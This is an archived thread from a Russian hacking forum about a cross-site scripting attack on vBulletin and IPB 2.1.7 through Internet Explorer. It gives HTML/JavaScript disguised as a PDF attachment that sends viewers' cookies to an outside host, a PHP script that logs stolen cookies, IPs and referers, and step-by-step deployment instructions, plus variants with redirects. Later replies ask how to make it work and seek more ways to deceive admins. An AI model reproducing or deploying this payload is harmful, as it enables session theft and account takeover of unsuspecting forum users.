Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   XSS vbulletin and IPB v2.1.7 With IE (https://forum.antichat.xyz/showthread.php?t=22317)

liauliau 06.08.2006 10:42

XSS vbulletin and IPB v2.1.7 With IE
 
XSS vbulletin and IPB v2.1.7 With IE

test:<html><script> alert("hello");</script></html>

-----------------------------------------------------------------

test.pdf
------

Код:

<html><script>img = new Image(); img.src = "http://blablabla.org/c.php?c="+document.cookie;</script></html>

c.php
-----

Код:

<?php
 $cookie = $_GET['c'];
 $ip = getenv ('REMOTE_ADDR');
 $date=date("m/d/Y g:i:s a");
 $referer= getenv ('HTTP_REFERER');
 $fl = fopen('log.txt', 'a');
 fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer."\n".$cookie."\n");
 fclose($fl);
?>

1_ Пишут test.pdf и c.php
2_ Помещенный c.php на webserver.
3_ Изменяют(Заменяют) url в test.pdf.
4_ Делают пост с test.pdf как attachement.
5_, когда кто - то будет смотреть на ваш attachement, Вы получите его печенье в log.txt

Лог сниффера

Код:

<html>
<script>img = new Image(); img.src ="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
</html>


liauliau 06.08.2006 11:31

ребята как заставить его работать ?

Код:

<html>
<script>
document.write('<img src="http://blablabla.org/c.php?c='+document.cookie+'" WIDTH=0 HEIGHT=0>');
document.location.href="https://www.google.com/adsense/testmagic.pdf";
</script>
</html>

или

Код:

<html>
<script>
document.write('<img src="http://antichat.ru/cgi-bin/s.jpg?'+document.cookie+'" WIDTH=0 HEIGHT=0>');
document.location.href="https://www.google.com/adsense/testmagic.pdf";
</script>
</html>


Rebz 06.08.2006 12:10

Дык.. не обязательно pdf. Ещё можно точно такую же шнягу провести и с .html -) В IPB по крайне мере иногда разрешен данный вид атача.

MeXoN 10.08.2006 19:21

Код не работает.=(

em00s7 10.08.2006 21:14

MeXoN в каком браузере проверял?

MeXoN 16.08.2006 15:18

Во всех!!

MeXoN 16.08.2006 15:19

Мошь есть какие нить еще способы нае.... Админов=)


Время: 21:17